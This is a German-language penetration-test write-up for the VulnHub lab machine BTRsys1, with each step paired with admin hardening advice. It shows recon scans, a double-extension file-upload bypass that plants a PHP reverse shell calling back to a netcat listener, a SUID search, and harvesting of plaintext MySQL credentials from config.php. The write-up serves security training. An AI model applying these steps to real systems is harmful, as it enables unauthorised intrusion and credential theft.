BTRsys1 - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nmap
nikto
gobuster
ftp
Burp Suite (implizit)
nc (netcat)
find
cat
ls
mysql
su
uname
chmod
cp

Inhaltsverzeichnis

Reconnaissance

Analyse: Wie im vorherigen Bericht beginnt die Reconnaissance mit `arp-scan -l`, um aktive Hosts im lokalen Netzwerksegment zu identifizieren.

Bewertung: Der Scan findet einen Host mit der IP `192.168.2.114` und der MAC-Adresse `08:00:27:c4:b0:50`. Der Hersteller wird als "PCS Systemtechnik GmbH" angegeben, was erneut auf eine VirtualBox-Umgebung hindeutet. Diese IP ist unser Ziel.

Empfehlung (Pentester): Die Ziel-IP notieren und für weitere Scans verwenden.
Empfehlung (Admin): Netzwerk-Monitoring und ARP-Schutzmaßnahmen implementieren.

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.114	08:00:27:c4:b0:50	PCS Systemtechnik GmbH

Analyse: Der Pentester bearbeitet die lokale `/etc/hosts`-Datei auf dem Angreifer-System mit dem Texteditor `vi`, um der gefundenen IP-Adresse `192.168.2.114` einen Hostnamen (`bts.hmv`) zuzuordnen.

Bewertung: Dies ist ein manueller Schritt, der die weitere Arbeit erleichtert, da nun der Hostname `bts.hmv` anstelle der IP-Adresse verwendet werden kann (z.B. in Browsern oder Tools). Es ist eine gute Praxis, besonders wenn Webanwendungen Hostnamen erwarten oder virtuelle Hosts konfiguriert sind.

Empfehlung (Pentester): Bei Web-Tests immer prüfen, ob die Anwendung auf einen bestimmten Hostnamen reagiert oder ob unterschiedliche Inhalte basierend auf dem Host-Header geliefert werden. Den Hostnamen `bts.hmv` bei weiteren Web-Anfragen verwenden.
Empfehlung (Admin): Keine direkte Aktion erforderlich. Dies ist eine Konfiguration auf dem Angreifer-System.

┌──(root㉿cyber)-[~] └─# vi /etc/hosts
# Inhalt der /etc/hosts Datei nach der Bearbeitung (Beispiel)
127.0.0.1   localhost
::1         localhost ip6-localhost ip6-loopback
ff02::1     ip6-allnodes
ff02::2     ip6-allrouters

192.168.2.114    bts.hmv

Analyse: Ein umfassender `nmap`-Scan wird gegen die Ziel-IP `192.168.2.114` durchgeführt.

Bewertung: Der Scan identifiziert drei offene Ports:

Zusätzlich liefert der Scan Hostkeys für SSH, die MAC-Adresse (bestätigt VirtualBox), eine Schätzung des Linux-Kernels (3.X|4.X) und bestätigt die Netzwerkdistanz (1 Hop).

Empfehlung (Pentester): Den anonymen FTP-Zugang sofort untersuchen. Die alten Versionen von OpenSSH und Apache auf bekannte Schwachstellen prüfen. Die Webanwendung auf Port 80 genauer analysieren.
Empfehlung (Admin): Anonymen FTP-Zugang deaktivieren, wenn er nicht absolut notwendig ist. OpenSSH und Apache dringend auf aktuelle, unterstützte Versionen aktualisieren, um bekannte Schwachstellen zu schließen. Betriebssystem ebenfalls aktualisieren.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -Pn -A 192.168.2.114 -p-
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-19 14:15 CEST
Nmap scan report for BTRsys1 (192.168.2.114)
Host is up (0.00016s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.2
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 192.168.2.137
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 600
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.2 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 d6:18:d9:ef:75:d3:1c:29:be:14:b5:2b:18:54:a9:c0 (DSA)
|   2048 ee:8c:64:87:44:39:53:8c:24:fe:9d:39:a9:ad:ea:db (RSA)
|   256 0e:66:e6:50:cf:56:3b:9c:67:8b:5f:56:ca:ae:6b:f4 (ECDSA)
|_  256 b2:8b:e2:46:5c:ef:fd:dc:72:f7:10:7e:04:5f:25:85 (ED25519)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-title: BTRisk
|_http-server-header: Apache/2.4.7 (Ubuntu)
MAC Address: 08:00:27:C4:B0:50 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.16 ms BTRsys1 (192.168.2.114)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.58 seconds

Analyse: Der gleiche `nmap`-Scan wird wiederholt, aber die Ausgabe wird mit `| grep open` gefiltert, um nur die offenen Ports übersichtlich darzustellen.

Bewertung: Bestätigt die offenen Ports 21 (FTP), 22 (SSH) und 80 (HTTP) sowie die bereits bekannten Dienstversionen. Dient als schnelle Zusammenfassung der Angriffsfläche.

Empfehlung (Pentester): Diese Liste als Checkliste für die weitere Enumeration der einzelnen Dienste verwenden.
Empfehlung (Admin): Firewall-Regeln überprüfen und sicherstellen, dass nur notwendige Ports von außen erreichbar sind.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -Pn -A 192.168.2.114 -p- | grep open
21/tcp open  ftp     vsftpd 3.0.2
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))

Analyse: `nikto` wird verwendet, um den Webserver auf Port 80 auf bekannte Schwachstellen, Fehlkonfigurationen und interessante Dateien zu scannen.

Bewertung: Nikto liefert mehrere wichtige Ergebnisse:

Der Fund der `config.php` und der alten PHP-Version sind besonders hervorzuheben.

Empfehlung (Pentester): Die `config.php` und `#wp-config.php#` (trotz des Namens) sofort herunterladen und analysieren. Nach bekannten Exploits für PHP 5.5.9 suchen. Die `login.php` auf Schwachstellen (SQL-Injection, Brute-Force) untersuchen.
Empfehlung (Admin): PHP und Apache dringend aktualisieren. Sicherheitsheader implementieren. Sicherstellen, dass Konfigurationsdateien (`config.php`) keine sensiblen Daten enthalten oder nicht direkt über den Webserver zugänglich sind. Backup-Dateien (`#...#`) oder Dateien mit sensiblen Endungen vom Webserver entfernen oder den Zugriff darauf blockieren.

┌──(root㉿cyber)-[~] └─# nikto -h 192.168.2.114
- Nikto v2.5.0
+ Target IP:          192.168.2.114
+ Target Hostname:    192.168.2.114
+ Target Port:        80
+ Start Time:         2023-06-19 14:15:10 (GMT2)
+ Server: Apache/2.4.7 (Ubuntu)
+ Retrieved x-powered-by header: PHP/5.5.9-1ubuntu4.21
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type.
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch.
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ /config.php: PHP Config file may contain database IDs and passwords.
+ /icons/README: Apache default file found.
+ /login.php: Admin login page/section found.
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 8102 requests: 0 error(s) and 9 item(s) reported on remote host
+ End Time:           2023-06-19 14:15:24 (GMT2) (14 seconds)
+ 1 host(s) tested

Web Enumeration

Analyse: `gobuster` wird verwendet, um Verzeichnisse und Dateien auf dem Webserver zu finden. Es nutzt eine mittelgroße Wordlist und sucht nach verschiedenen Dateiendungen, wobei 403/404-Fehler ausgeblendet werden.

Bewertung: Gobuster findet mehrere interessante Ressourcen:

Das `/uploads`-Verzeichnis ist der relevanteste Fund hier.

Empfehlung (Pentester): Das `/uploads/`-Verzeichnis im Browser aufrufen und prüfen, ob Verzeichnislisting aktiviert ist und ob Dateien hochgeladen werden können (z.B. über die `login.php` oder eine andere, noch nicht entdeckte Seite). Die `config.php` trotz der geringen Größe herunterladen und untersuchen (`curl http://192.168.2.114/config.php`).
Empfehlung (Admin): Verzeichnislisting für Verzeichnisse wie `/uploads` deaktivieren. Sicherstellen, dass Upload-Funktionen sicher implementiert sind (Dateityp-Validierung serverseitig, Größenbeschränkungen, Speicherung außerhalb des Web-Roots oder mit nicht-ausführbaren Berechtigungen). Zugriff auf Konfigurationsdateien blockieren.

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://192.168.2.114 -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,yml -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.2.114
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Status codes:            200,204,301,302,307,401,403,405
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              [...]
[+] Expanded:                true
[+] Timeout:                 10s
[+] Exclude Status Codes:    403,404
[+] No error:                true
===============================================================
2023/06/19 14:16:01 Starting gobuster
===============================================================
http://192.168.2.114/index.php            (Status: 200) [Size: 758]
http://192.168.2.114/login.php            (Status: 200) [Size: 4561]
http://192.168.2.114/uploads              (Status: 301) [Size: 315] [--> http://192.168.2.114/uploads/]
http://192.168.2.114/assets               (Status: 301) [Size: 314] [--> http://192.168.2.114/assets/]
http://192.168.2.114/javascript           (Status: 301) [Size: 318] [--> http://192.168.2.114/javascript/]
http://192.168.2.114/config.php           (Status: 200) [Size: 2]
[...]
===============================================================
2023/06/19 14:18:35 Finished
===============================================================

Analyse: Der Pentester verbindet sich per FTP mit dem Zielserver und nutzt den von Nmap entdeckten anonymen Zugang.

Bewertung: Der Login als `anonymous` (ohne Passwort) ist erfolgreich ("230 Login successful."). Dies bestätigt die Nmap-Ergebnisse und gibt dem Pentester Zugriff auf das FTP-Verzeichnis, das für anonyme Benutzer freigegeben ist.

Empfehlung (Pentester): Den Inhalt des FTP-Verzeichnisses untersuchen (`ls -la`). Prüfen, ob Schreibrechte vorhanden sind (`put testfile`). Nach interessanten Dateien suchen.
Empfehlung (Admin): Anonymen FTP-Zugang deaktivieren, falls nicht benötigt. Wenn er benötigt wird, sicherstellen, dass die Berechtigungen sehr restriktiv sind (nur Lesezugriff, nur auf bestimmte Dateien/Verzeichnisse) und keine sensiblen Informationen preisgegeben werden.

┌──(root㉿cyber)-[~] └─# ftp 192.168.2.114
Connected to 192.168.2.114.
220 (vsFTPd 3.0.2)
Name (192.168.2.114:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> 

Analyse: Der Pentester versucht, eine Datei (`CaptBarbossa.JPG`) über den anonymen FTP-Zugang hochzuladen (`put`) und anschließend in das Verzeichnis `/var` zu wechseln (`cd /var`).

Bewertung: Beide Aktionen schlagen fehl:

Der anonyme FTP-Zugang scheint hier keine direkten weiteren Angriffspunkte zu bieten.

Empfehlung (Pentester): Den FTP-Zugang vorerst ignorieren und sich auf die Webanwendung (Port 80) konzentrieren, insbesondere auf das `/uploads`-Verzeichnis und die `login.php`.
Empfehlung (Admin): Die Konfiguration des anonymen FTP-Zugangs (insbesondere das chroot jail und die fehlenden Schreibrechte) ist korrekt umgesetzt, um einen Ausbruch oder das Hochladen von Schadcode zu verhindern.

ftp> put CaptBarbossa.JPG
local: CaptBarbossa.JPG remote: CaptBarbossa.JPG
229 Entering Extended Passive Mode (|||49112|).
550 Permission denied.
ftp> cd /var
550 Failed to change directory.
ftp> 

Analyse: Der Pentester untersucht den Quellcode oder die Struktur der `index.php`-Seite.

Bewertung: Die gefundenen Links (`index.php`, `hakkimizda.php`) deuten auf eine türkische Webseite hin ("Anasayfa" = Startseite, "Hakkımızda" = Über uns). Dies liefert Kontext, ist aber keine direkte Schwachstelle.

Empfehlung (Pentester): Alle verlinkten Seiten besuchen und untersuchen. Die Sprache kann bei der Suche nach Standard-Passwörtern oder bei Social Engineering relevant sein.
Empfehlung (Admin): Sicherstellen, dass alle Webseiteninhalte aktuell und sicher sind.

http://192.168.2.114/index.php

      
  • Anasayfa
  • Hakkimizda
  • Analyse: Untersuchung der `login.php` und der dahinterliegenden `personel.php`. Die HTTP-Header bestätigen erneut PHP 5.5.9 und Apache 2.4.7.

    Bewertung: Die Seite `login.php` führt wahrscheinlich zu `personel.php` nach erfolgreichem Login. Die Header bestätigen die veralteten Versionen.

    Empfehlung (Pentester): Die `login.php` auf SQL-Injection und Brute-Force-Angriffe testen. Versuchen, direkt auf `personel.php` zuzugreifen, um zu sehen, ob eine Authentifizierung erforderlich ist.
    Empfehlung (Admin): Login-Seiten besonders absichern (Schutz vor Brute-Force, SQLi, starke Passwörter erzwingen). Veraltete Software aktualisieren.

    http://192.168.2.114/login.php
    
    personel.php
    X-Powered-By : PHP/5.5.9-1ubuntu4.21
    Server       : Apache/2.4.7 (Ubuntu)
    

    Analyse: Direkter Zugriff auf `192.168.2.114/personel.php`. Die Seite zeigt persönliche Informationen ("Kisi Özluk Bilgileri") an, wirft aber auch eine PHP-Warnung.

    Bewertung: Der direkte Zugriff ist möglich (keine oder eine umgangene Authentifizierung). Die Warnung `Warning: mysqli_fetch_row() expects parameter 1 to be mysqli_result, null given in /var/www/html/personel.php on line 67` ist ein wichtiger Fund:

    Die Anzeige von PHP-Fehlern/Warnungen sollte auf Produktionssystemen deaktiviert sein.

    Empfehlung (Pentester): Die Seite `personel.php` auf SQL-Injection testen, insbesondere Parameter, die die Datenbankabfrage beeinflussen könnten. Den Pfad `/var/www/html/` notieren.
    Empfehlung (Admin): PHP-Fehleranzeige auf Produktionssystemen deaktivieren (`display_errors = Off` in `php.ini`). Den Code in `personel.php` (Zeile 67 und die zugehörige Datenbankabfrage) überprüfen und korrigieren. SQL-Injection-Schwachstellen durch Prepared Statements oder korrekte Eingabevalidierung verhindern. Authentifizierung für `personel.php` erzwingen.

    192.168.2.114/personel.php
    
     Kisi Özluk Bilgileri
    
    
    Warning: mysqli_fetch_row() expects parameter 1 to be mysqli_result,
             null given in /var/www/html/personel.php on line 67
    

    Initial Access

    Analyse: Dieser Kommentar beschreibt den entscheidenden Schritt für den initialen Zugriff: Eine Datei mit doppeltem Suffix (`shell.php.jpg`) wird hochgeladen (vermutlich über eine Funktion auf der Webseite, die nur Bilddateien erlaubt). Anschließend wird mit einem Intercepting Proxy wie Burp Suite der Dateiname während des Upload-Vorgangs oder in einer nachfolgenden Anfrage (z.B. Umbenennung) zu `shell.php` geändert. Danach wird die hochgeladene PHP-Shell direkt über die URL `http://192.168.2.114/uploads/shell.php` aufgerufen.

    Bewertung: Dies deutet auf eine klassische File-Upload-Schwachstelle hin. Die Anwendung prüft wahrscheinlich nur die Dateiendung (`.jpg`), erlaubt aber das Hochladen von Dateien mit PHP-Code (wenn als `.jpg` getarnt). Die serverseitige Verarbeitung oder eine nachfolgende Funktion ermöglicht dann die Umbenennung oder führt den Code trotz `.jpg`-Endung aus, oder der Pentester konnte durch Manipulation (z.B. im `Content-Type` oder Dateinamen im HTTP-Request mit Burp) die Endungsprüfung umgehen und die Datei als `shell.php` speichern. Der Aufruf der URL führt dann die PHP-Shell aus.

    Empfehlung (Pentester): Diese Technik ist sehr effektiv. Immer nach File-Upload-Funktionen suchen und verschiedene Umgehungstechniken testen (doppelte Endungen, Null-Byte-Injektion (veraltet), Manipulation von Content-Type, Groß-/Kleinschreibung, etc.). Burp Suite ist hierfür unerlässlich.
    Empfehlung (Admin): File-Uploads serverseitig robust validieren: Dateitypen nicht nur anhand der Endung oder des `Content-Type`-Headers prüfen, sondern den Dateiinhalt analysieren (Magic Bytes). Dateinamen beim Speichern ändern (z.B. zufällige Namen verwenden) und die ursprüngliche Endung nicht beibehalten oder nur erlaubte Endungen zulassen. Hochgeladene Dateien in einem Verzeichnis außerhalb des Web-Roots speichern oder sicherstellen, dass das Upload-Verzeichnis keine Ausführungsrechte für Skripte hat (z.B. über `.htaccess` oder Serverkonfiguration).

    mit Burp den dateinamen von shell.php.jpg in shell.php geändert,
    dann per http://192.168.2.114/uploads/shell.php die shell aufrufen
    

    Analyse: Diese Ausgabe zeigt wahrscheinlich das Verzeichnislisting des `/uploads/`-Verzeichnisses auf dem Webserver, wie es im Browser oder durch ein Tool angezeigt wird. Es listet die erfolgreich hochgeladene (und umbenannte) `shell.php` sowie die ursprüngliche `shell.php.jpg` auf.

    Bewertung: Das Verzeichnislisting ist aktiviert, was an sich schon ein Informationsleck darstellt. Es bestätigt, dass sowohl die getarnte Datei als auch die umbenannte PHP-Shell im Upload-Verzeichnis vorhanden sind. Der Zeitstempel (06:11 und 06:12) passt zu einem kurz zurückliegenden Upload.

    Empfehlung (Pentester): Das aktivierte Verzeichnislisting nutzen, um alle hochgeladenen Dateien zu sehen. Die `shell.php` über ihre URL aufrufen, um die Reverse Shell zu triggern.
    Empfehlung (Admin): Verzeichnislisting auf dem Webserver global oder zumindest für sensible Verzeichnisse wie `/uploads` deaktivieren (z.B. mit `Options -Indexes` in der Apache-Konfiguration oder `.htaccess`). Die File-Upload-Schwachstelle beheben.

    [ICO]	Name	Last modified	Size	Description
    ---------------------------------------------------
    [DIR]	Parent Directory	 	- 	 
    [   ]	shell.php	2023-06-19 06:12 	5.4K	 
    [IMG]	shell.php.jpg	2023-06-19 06:11 	5.4K	
    ---------------------------------------------------
    Apache/2.4.7 (Ubuntu) Server at 192.168.2.114 Port 80
    

    Analyse: Der Pentester startet einen `netcat`-Listener auf Port 9001 auf seinem Angreifer-System, um die eingehende Verbindung der Reverse Shell (die durch den Aufruf von `shell.php` ausgelöst wird) abzufangen.

    Bewertung: Der Listener startet erfolgreich (`listening on [any] 9001 ...`). Kurz darauf kommt die Verbindung von der Zielmaschine (`connect to [...] from [...] 192.168.2.114`). Die Shell meldet sich mit Systeminformationen (`Linux BTRsys1 ...`, Uptime, Load) und dem Benutzerkontext (`uid=33(www-data) gid=33(www-data)`). Der initiale Zugriff war erfolgreich, der Pentester hat nun eine Shell als Benutzer `www-data`. Die Meldung `/bin/sh: 0: can't access tty; job control turned off` ist typisch für einfache Reverse Shells.

    Empfehlung (Pentester): Die Shell stabilisieren (z.B. mit Python PTY: `python -c 'import pty; pty.spawn("/bin/bash")'`). Mit der Enumeration als `www-data` beginnen: `whoami`, `id`, `pwd`, `ls -la /var/www/html`, `sudo -l`, Suche nach Konfigurationsdateien, SUID-Binaries, etc.
    Empfehlung (Admin): Die File-Upload-Schwachstelle dringend beheben. Egress-Filterung implementieren, um Reverse Shells zu erschweren. Webserver-Prozesse sollten mit minimalen Rechten laufen. Überwachung auf verdächtige Prozesse und Netzwerkverbindungen.

    ┌──(root㉿cyber)-[~] └─# nc -lvnp 9001
    listening on [any] 9001 ...
    connect to [192.168.2.137] from (UNKNOWN) [192.168.2.114] 46347
    Linux BTRsys1 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:12 UTC 2014 i686 athlon i686 GNU/Linux
     06:12:23 up 59 min,  0 users,  load average: 0.00, 0.01, 0.46
    USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    /bin/sh: 0: can't access tty; job control turned off
    $ 

    Privilege Escalation

    Analyse: Der Pentester versucht als `www-data`, die Bash-History des Benutzers `troll` zu lesen und prüft eventuelle `sudo`-Rechte für `www-data`.

    Bewertung: Beide Versuche scheitern:

    Diese Standard-Enumerationsschritte liefern hier keine direkten Ergebnisse.

    Empfehlung (Pentester): Andere Enumerationstechniken anwenden: Suche nach SUID/SGID-Dateien (`find / -type f -perm -4000 -ls 2>/dev/null`), Überprüfung von Cronjobs (`ls -la /etc/cron.*`), Suche nach Konfigurationsdateien mit Passwörtern (insbesondere im Web-Root `/var/www/html`), Prüfung der Kernel-Version (`uname -a`) auf Exploits.
    Empfehlung (Admin): Sicherstellen, dass Webserver-Benutzer (`www-data`) keine unnötigen `sudo`-Rechte haben und keine Passwörter besitzen. Dateiberechtigungen restriktiv setzen.

    $ cat /home/troll/.bash_history
    cat: /home/troll/.bash_history: Permission denied
    $ sudo -l
    [sudo] password for www-data: 

    Analyse: Der Befehl `find / -type f -perm -4000 -ls 2>/dev/null` wird ausgeführt, um nach SUID-Binaries zu suchen, die mit Root-Rechten laufen und möglicherweise zur Privilegieneskalation missbraucht werden können.

    Bewertung: Die Liste enthält viele Standard-Linux-SUID-Programme (`pppd`, `chfn`, `sudo`, `passwd`, `mtr`, `chsh`, `newgrp`, `gpasswd`, `ssh-keysign`, `su`, `ping`, `fusermount`, `ping6`, `mount`, `umount`). Einige sind etwas ungewöhnlicher oder spezifisch:

    Auf den ersten Blick scheint keine der Dateien direkt für einen einfachen, bekannten Exploit anfällig zu sein, aber die älteren Versionen der Standardtools (impliziert durch die alten Apache/PHP/SSH-Versionen) könnten angreifbar sein.

    Empfehlung (Pentester): Die Kernel-Version (`uname -a`) und die Versionen der installierten Pakete (insbesondere `sudo`) prüfen und nach bekannten Exploits suchen (z.B. mit `linux-exploit-suggester`). Die Anwesenheit von VMware-Tools-Binaries könnte interessant sein, falls spezifische Schwachstellen bekannt sind.
    Empfehlung (Admin): System und alle Pakete auf den neuesten Stand bringen. Unnötige SUID-Binaries entfernen oder das SUID-Bit entfernen (`chmod -s /pfad/zur/datei`).

    $ find / -type f -perm -4000 -ls 2>/dev/null
     34644   20 -rwsr-sr-x   1 libuuid  libuuid     17996 Jun  3  2014 /usr/sbin/uuidd
     34466  316 -rwsr-xr--   1 root     dip        322968 Jan 22  2013 /usr/sbin/pppd
      1273   44 -rwsr-xr-x   1 root     root        44620 Feb 16  2014 /usr/bin/chfn
      1534  156 -rwsr-xr-x   1 root     root       156708 Feb 10  2014 /usr/bin/sudo
      1428   48 -rwsr-xr-x   1 root     root        45420 Feb 16  2014 /usr/bin/passwd
     34087   20 -rwsr-xr-x   1 root     root        18136 May  7  2014 /usr/bin/traceroute6.iputils
     34376   72 -rwsr-xr-x   1 root     root        72860 Oct 21  2013 /usr/bin/mtr
      1276   36 -rwsr-xr-x   1 root     root        35916 Feb 16  2014 /usr/bin/chsh
      1416   32 -rwsr-xr-x   1 root     root        30984 Feb 16  2014 /usr/bin/newgrp
      1347   68 -rwsr-xr-x   1 root     root        66252 Feb 16  2014 /usr/bin/gpasswd
     36644   12 -rwsr-xr-x   1 root     root         9612 Jul 28  2014 /usr/lib/pt_chown
    147370  484 -rwsr-xr-x   1 root     root       492972 May 12  2014 /usr/lib/openssh/ssh-keysign
     38256   12 -r-sr-xr-x   1 root     root        10224 Aug  9  2014 /usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
     38453   12 -r-sr-xr-x   1 root     root         9532 Aug  9  2014 /usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
      1623    8 -rwsr-xr-x   1 root     root         5480 Feb 25  2014 /usr/lib/eject/dmcrypt-get-device
    144449  324 -rwsr-xr--   1 root     messagebus   329856 Jul  3  2014 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
       108   36 -rwsr-xr-x   1 root     root        35300 Feb 16  2014 /bin/su
        88   40 -rwsr-xr-x   1 root     root        38932 May  7  2014 /bin/ping
     33602   32 -rwsr-xr-x   1 root     root        30112 Dec 16  2013 /bin/fusermount
        89   44 -rwsr-xr-x   1 root     root        43316 May  7  2014 /bin/ping6
        75   88 -rwsr-xr-x   1 root     root        88752 Jun  3  2014 /bin/mount
       116   68 -rwsr-xr-x   1 root     root        67704 Jun  3  2014 /bin/umount

    Analyse: Die Berechtigungen der `/etc/passwd`-Datei werden überprüft, und der Befehl `getcap -r / 2>/dev/null` wird ausgeführt. `getcap` sucht nach Dateien mit gesetzten Linux Capabilities, die eine alternative Form der Privilegieneskalation ermöglichen können.

    Bewertung: Die Berechtigungen von `/etc/passwd` sind Standard (`-rw-r--r--`). Der `getcap`-Befehl liefert keine Ausgabe, was bedeutet, dass keine Dateien mit speziellen Capabilities gefunden wurden, die für eine Eskalation genutzt werden könnten.

    Empfehlung (Pentester): Die Suche nach Capabilities war erfolglos. Weiter nach anderen Vektoren suchen, insbesondere Konfigurationsdateien im Web-Root.
    Empfehlung (Admin): Capabilities sollten nur bewusst und sparsam eingesetzt werden. Regelmäßige Überprüfung mit `getcap` ist sinnvoll.

    $ ls -la /etc/passwd
    -rw-r--r-- 1 root root 1515 May 24  2017 /etc/passwd
    $ getcap -r / 2>/dev/null
    $ 

    Analyse: Der Pentester wechselt in das Web-Root-Verzeichnis `/var/www/html` und listet dessen Inhalt detailliert auf.

    Bewertung: Die Auflistung zeigt die verschiedenen PHP-Dateien der Webanwendung (`index.php`, `login.php`, `hakkimizda.php`, `personel.php`, etc.) sowie das `uploads`-Verzeichnis und die bereits von Nikto und Gobuster gefundene `config.php`. Wichtig ist hier auch das `uploads`-Verzeichnis, das Schreibrechte für alle hat (`drwxrwxrwx`). Dies ist unsicher, aber die bereits genutzte File-Upload-Schwachstelle war der Einstiegspunkt.

    Empfehlung (Pentester): Die `config.php` untersuchen, da sie wahrscheinlich Zugangsdaten enthält (auch wenn sie von Gobuster als sehr klein gemeldet wurde).
    Empfehlung (Admin): Die Berechtigungen des `uploads`-Verzeichnisses auf `drwxr-xr-x` oder restriktiver ändern (Schreibrechte nur für `www-data`). Den Inhalt von `config.php` prüfen und sicherstellen, dass sie nicht direkt aus dem Web zugänglich ist.

    $ cd /var/www/html/
    $ ls -la
    total 56
    drwxr-xr-x 4 root root 4096 Apr 28  2017 .
    drwxr-xr-x 3 root root 4096 Apr 28  2017 ..
    drwxr-xr-x 8 root root 4096 Apr 28  2017 assets
    -rw-r--r-- 1 root root  356 Mar 20  2017 config.php
    -rw-r--r-- 1 root root  856 Apr 28  2017 gonder.php
    -rw-r--r-- 1 root root 9311 Apr 28  2017 hakkimizda.php
    -rw-r--r-- 1 root root  796 Mar 23  2017 index.php
    -rw-r--r-- 1 root root 4561 Apr 28  2017 login.php
    -rw-r--r-- 1 root root 3517 May  3  2017 personel.php
    -rw-r--r-- 1 root root 2143 Apr 28  2017 sorgu.php
    drwxrwxrwx 2 root root 4096 Jun 19 06:11 uploads

    Analyse: Der Inhalt der Datei `config.php` wird mit `cat` angezeigt.

    Bewertung: Volltreffer! Die Datei enthält Klartext-Zugangsdaten für eine MySQL-Datenbankverbindung:

    Da Datenbanken oft mit dem Root-Benutzer des Systems oder einem anderen privilegierten Benutzer interagieren oder Betriebssystembefehle ausführen können (z.B. über UDFs), ist dies ein extrem vielversprechender Fund für die Privilegieneskalation.

    Empfehlung (Pentester): Versuchen, sich mit den gefundenen Zugangsdaten (`root`/`toor`) am lokalen MySQL-Server anzumelden (`mysql -u root -p`). Prüfen, ob der MySQL-`root`-Benutzer das gleiche Passwort wie der System-`root`-Benutzer hat (`su root`). Die Datenbank `deneme` auf weitere interessante Informationen untersuchen. Nach Möglichkeiten suchen, über MySQL Systembefehle auszuführen (z.B. prüfen auf File-Privilegien, UDF-Exploits).
    Empfehlung (Admin): Niemals Klartext-Passwörter in Konfigurationsdateien im Web-Root speichern. Datenbankverbindungen mit dedizierten, niedrig privilegierten Benutzern durchführen. Das Passwort des MySQL-`root`-Benutzers ändern (und kein schwaches Passwort wie `toor` verwenden). Sicherstellen, dass die `config.php` nicht über den Webserver lesbar ist. Datenbankserver absichern (z.B. Zugriff nur von bestimmten Hosts erlauben).

    $ cat config.php
    toor","deneme");
    if (mysqli_connect_errno())
      {
      echo "Mysql Bağlantı hatası!: " . mysqli_connect_error();
      }
    /////////////////////////////////////////////////////////////////////////////////////////
    ?>

    Analyse: Der Pentester versucht, mit `su root` zum System-Root-Benutzer zu wechseln und gibt das gefundene MySQL-Passwort `toor` ein. Anschließend versucht er, sich mit den gefundenen Zugangsdaten am MySQL-Server anzumelden.

    Bewertung:

    Der Zugriff auf die Datenbank als Root ist ein signifikanter Fortschritt.

    Empfehlung (Pentester): Die MySQL-Datenbanken und -Tabellen untersuchen (`show databases;`, `use deneme;`, `show tables;`, `select * from user;`). Nach gespeicherten Benutzerdaten, Passwörtern oder Konfigurationen suchen. Prüfen, welche Berechtigungen der MySQL-`root`-Benutzer hat (`SHOW GRANTS FOR 'root'@'localhost';`), insbesondere FILE-Privilegien, die das Lesen/Schreiben von Systemdateien ermöglichen könnten. Nach Möglichkeiten suchen, über MySQL zu Root-Rechten auf dem Betriebssystem zu gelangen (z.B. UDF - User Defined Functions).
    Empfehlung (Admin): Das MySQL-Root-Passwort dringend ändern und sicher gestalten. Die Berechtigungen des MySQL-Root-Benutzers überprüfen und einschränken (insbesondere FILE-Privilegien). Den Zugriff auf den MySQL-Server absichern.

    $ su root
    Password: toor
    su: Authentication failure
    $ mysql -u root -p
    Enter password: toor
    Welcome to the MySQL monitor.  Commands end with ; or \g.
    Your MySQL connection id is 806587
    Server version: 5.5.55-0ubuntu0.14.04.1 (Ubuntu)
    
    Copyright (c) 2000, 2017, Oracle and/or its affiliates. All rights reserved.
    
    Oracle is a registered trademark of Oracle Corporation and/or its
    affiliates. Other names may be trademarks of their respective
    owners.
    
    Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
    
    mysql> 

